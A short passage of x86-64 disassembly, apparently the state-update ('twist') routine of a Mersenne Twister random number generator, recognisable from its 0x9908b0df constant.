je 0x140020fb7
mov dword [rsp + 0x18], 0x9908b0df
jmp 0x140020fbf
mov dword [rsp + 0x18], 0
mov eax, dword [rsp + 4]
shr eax, 1
xor eax, dword [rsp + 0x18]
mov rcx, qword [rsp + 0x30]
xor eax, dword [rcx + 0x634]
movsxd rcx, dword [rsp]
mov rdx, qword [rsp + 0x30]
mov dword [rdx + rcx*4 + 4], eax
mov rax, qword [rsp + 0x30]
mov dword [rax], 0
add rsp, 0x28
ret